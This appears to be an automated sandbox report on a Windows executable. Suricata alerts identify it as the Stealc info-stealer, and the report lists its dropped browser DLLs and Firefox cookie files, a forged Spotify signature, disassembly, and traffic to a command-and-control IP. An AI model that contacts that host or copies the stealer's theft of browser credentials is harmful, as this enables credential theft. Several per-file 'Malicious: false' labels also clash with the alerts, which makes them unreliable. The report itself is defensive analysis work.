SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4629404052352735
Encrypted:	false
SSDEEP:	6144:OIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN2dwBCswSbn:DXD94+WlLZMM6YFHg+n
MD5:	DD1093A70340D33B390F1438AD9B05CB
SHA1:	1BE31F188A5B37D9568CA6FA3DC6E23620E5E7F9
SHA-256:	0AA9D4E61C668F23B8B646C29CBFCA97DDF7CCACA27494CC592B6A201FFB4DE9
SHA-512:	B196AE0871734A8D41D3843E33DC115CF2C4CC9C3D22A40FB266AE7DC5577100CF2DA36DC5CEA0F8A80D4A97110EB7885615D91000AFFE2CA4FA9218DFE244F3
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.m.T...............................................................................................................................................................................................................................................................................................................................................4=z.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.691686321545566
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	CR0QGWXdDl.exe
File size:	514'936 bytes
MD5:	ab315f59c8c2658c5d87e8125adc2678
SHA1:	3b641bdfe96df3a1039567bba3d8390e9308935b
SHA256:	33ec381cf58df623bc6b3879a5aea2914034d42b885a2c61aaf10f6c2ab8cae4
SHA512:	fccc05f521c9fe0a69392f5a75a9bada815754ca794aec12f48a0ee13d3d68e37888d94e96ebf7e94dd8fc940a8d2085759fa78059aae68f8b8cd6bbe2caf3b0
SSDEEP:	12288:+KSTR6VfHFgPoVgZdx6UjjG64xqNS+3xnkgxvts7SrKY:+K06V/QjjGv+iu67Yh
TLSH:	0DB4F11578C0C472C973193219E0CAB49F7DF9704FA25E9F23A45B7E8F70291E3256AA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........9...WU..WU..WU.TT..WU.RTR.WU.ST..WU.VT..WU..VU..WU.cTT..WU.cST..WU.cRT..WU.b^T..WU.b.U..WU.bUT..WURich..WU........PE..L..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x406c99
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67032EA1 [Mon Oct 7 00:43:13 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	a60bdb87c5f6c8156150002e03d82eb0

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	22/09/2022 01:00:00 20/10/2023 00:59:59
Subject Chain	CN=Spotify AB, O=Spotify AB, L=Stockholm, C=SE, SERIALNUMBER=5567037485, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=SE
Version:	3
Thumbprint MD5:	EF8873EED657F2DFE432077ADBAB8AFB
Thumbprint SHA-1:	3F76C6CC576963831FF44303BFCB98113C51C95E
Thumbprint SHA-256:	890C79F427B0C07DEF096FF66A402E9337F0F2D80DACA1256A7F572F7720DBAA
Serial:	04C530703A210EC1D6F83CB4FE1118C5

Entrypoint Preview

Instruction
call 00007F3158F17E69h
jmp 00007F3158F173CFh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F3158F1756Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F3158F1755Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F3158F1755Eh
add edx, 28h
cmp edx, esi
jne 00007F3158F1753Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F3158F1754Bh
push esi
call 00007F3158F1817Dh
test eax, eax
je 00007F3158F17572h
mov eax, dword ptr fs:[00000018h]
mov esi, 0047A35Ch
mov edx, dword ptr [eax+04h]
jmp 00007F3158F17556h
cmp edx, eax
je 00007F3158F17562h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F3158F17542h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F3158F17559h
mov byte ptr [0047A360h], 00000001h
call 00007F3158F17813h
call 00007F3158F1A730h
test al, al
jne 00007F3158F17556h
xor al, al
pop ebp
ret
call 00007F3158F23194h
test al, al
jne 00007F3158F1755Ch
push 00000000h
call 00007F3158F1A737h
pop ecx
jmp 00007F3158F1753Bh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [0047A361h], 00000000h
je 00007F3158F17556h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2b680	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7b000	0x1d5	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x7b200	0x2978
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7c000	0x1abc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x29ba0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x29ae0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x22000	0x128	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x20e30	0x21000	2b921f3896fb1ff6cd21cad7a989b3af	False	0.5846206202651515	data	6.655629338059244	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x22000	0x9d24	0x9e00	8d7c5e1d827b038d95da50f8545ba73f	False	0.43527492088607594	data	4.96126085290754	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2c000	0x4ef88	0x4e200	af8a4aec476b965ebe23260c5eda053f	False	0.989940625	DOS executable (block device driver \377\377\377\377,32-bit sector-support)	7.990187388525844	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x7b000	0x1d5	0x200	1cd2a53154f20c14100f0cb012c84071	False	0.52734375	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7c000	0x1abc	0x1c00	791274fb7cec599e1cd5be94de522a90	False	0.7271205357142857	data	6.379807247594316	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x7b058	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, ReadConsoleW, HeapSize, WriteConsoleW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T03:03:05.107765+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49731	46.8.231.109	80	TCP
2024-10-07T03:03:05.289609+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49731	46.8.231.109	80	TCP
2024-10-07T03:03:05.298394+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	46.8.231.109	80	192.168.2.4	49731	TCP
2024-10-07T03:03:05.474984+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49731	46.8.231.109	80	TCP
2024-10-07T03:03:05.481909+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	46.8.231.109	80	192.168.2.4	49731	TCP
2024-10-07T03:03:05.910229+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49731	46.8.231.109	80	TCP
2024-10-07T03:03:06.089607+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49731	46.8.231.109	80	TCP
2024-10-07T03:03:08.849509+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49731	46.8.231.109	80	TCP
2024-10-07T03:03:09.668398+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49731	46.8.231.109	80	TCP
2024-10-07T03:03:10.242687+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49731	46.8.231.109	80	TCP
2024-10-07T03:03:10.808095+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49731	46.8.231.109	80	TCP
2024-10-07T03:03:12.525030+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49731	46.8.231.109	80	TCP
2024-10-07T03:03:12.904222+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49731	46.8.231.109	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 03:03:03.944053888 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:03.948995113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:03.949067116 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:03.949309111 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:03.954056978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:04.570291042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:04.570372105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:04.572604895 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:04.577476025 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.107547045 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.107764959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.109391928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.114242077 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.289458990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.289608955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.289674997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.289782047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.291245937 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.298393965 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.474867105 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.474915981 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.474950075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.474982977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.474983931 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.474983931 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.475017071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.475027084 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.475027084 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.475047112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.475087881 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.475087881 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.475136042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.475167990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.475214958 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.475214958 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.477020025 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.481909037 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.656543016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.656785965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.670372963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.670372963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.675239086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.675265074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.675276995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.675416946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.675432920 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.910151005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:05.910228968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.910783052 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:05.915604115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.089521885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.089607000 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.089615107 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.089658976 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.089664936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.089704990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.089710951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.089721918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.089735031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.089751005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.089756012 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.089792013 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.089818001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.090230942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.090261936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.090291977 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.090311050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.090361118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.090419054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.090446949 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.090460062 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.090488911 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.090526104 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.090802908 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.090837955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.090859890 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.090872049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.090883970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.090905905 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.090922117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.090943098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.090945959 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.090986013 CEST	49731	80	192.168.2.4	46.8.231.109
